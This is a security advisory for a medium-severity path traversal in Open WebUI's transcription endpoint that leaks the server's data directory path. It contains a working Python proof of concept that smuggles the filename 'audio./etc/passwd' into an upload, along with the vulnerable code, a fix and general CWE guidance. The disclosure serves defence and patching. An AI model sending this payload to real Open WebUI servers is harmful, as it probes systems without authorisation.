Skip to content

GHSA-vvxm-vxmr-624h CVE-2026-28786 PYSEC-2026-2764

Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`

Medium PyPI
Severity
4.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.57%
Chance of exploitation in the next 30 days. Higher than 47.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-209 Generation of Error Message Containing Sensitive Information
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
0.8.6
Upgrade open-webui to this version or later

Description

Summary

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATA_DIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

Details

backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():

ext       = file.filename.split(".")[-1]       # attacker-controlled, no sanitisation
filename  = f"{id}.{ext}"                      # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
    f.write(contents)

If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:

{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd

open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:

# files.py:244
filename = os.path.basename(file.filename)

# pipelines.py:206
filename = os.path.basename(file.filename)

Recommended fix — match the existing pattern and suppress path leakage in errors:

# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"

# audio.py:1231 — suppress internal path in error response
except Exception as e:
    log.exception(e)
    raise HTTPException(status_code=400, detail="Transcription failed.")

PoC

Requirements: a running Open WebUI instance and one standard (non-admin) user account.

docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requests
import requests, sys

BASE_URL = "http://localhost:3000"
EMAIL    = "user@example.com"
PASSWORD = "changeme"

token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
                      json={"email": EMAIL, "password": PASSWORD},
                      timeout=10).json()["token"]

boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
    f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
    f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post(
    f"{BASE_URL}/api/v1/audio/transcriptions",
    data=body,
    headers={"Authorization": f"Bearer {token}",
             "Content-Type": f"multipart/form-data; boundary={boundary}"},
    timeout=15,
)
print(resp.status_code, resp.text)

Observed output (live test, commit b8112d72b):

400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}

The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.

Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.


Impact

Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.

AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.8.6
0.8.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.8.6

pip
pip install --upgrade "open-webui>=0.8.6"
poetry
poetry add "open-webui>=0.8.6"
uv
uv add "open-webui>=0.8.6"

Severity breakdown

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-209: Generation of Error Message Containing Sensitive Information

The product generates an error message that includes sensitive information about its environment, users, or associated data.

How to prevent it
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • Implementation: Handle exceptions internally and do not display errors containing potentially sensitive information to a user.
  • Implementation: Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
  • Implementation, Build and Compilation: Debugging information should not make its way into a production release.
  • Implementation, Build and Compilation: Debugging information should not make its way into a production release.
  • System Configuration: Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.
  • System Configuration: Create default error pages or messages that do not leak any information.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor